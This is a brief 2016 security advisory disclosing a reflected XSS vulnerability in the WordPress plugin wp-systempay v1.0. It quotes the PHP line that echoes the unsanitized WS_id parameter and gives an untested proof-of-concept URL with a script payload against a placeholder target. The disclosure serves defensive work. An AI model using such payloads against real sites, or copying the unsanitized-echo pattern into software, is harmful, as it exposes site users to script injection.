Advisory #: 355
Title: Reflected XSS in wordpress plugin wp-systempay v1.0
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/wp-systempay
Downloads: 188
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: wp-systempay
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./wp-systempay/admin/view/ws_edit.php: 8: <form method="POST" class="form-inline" action="?page=<?php echo $this->_editPageName; ?>&WS_action=update&WS_id=<?php echo $_GET["WS_id"];?>"> The variable WS_id appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./wp-systempay/admin/view/ws_edit.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/wp-systempay/admin/view/ws_edit.php?WS_id=<script>alert(1);</script>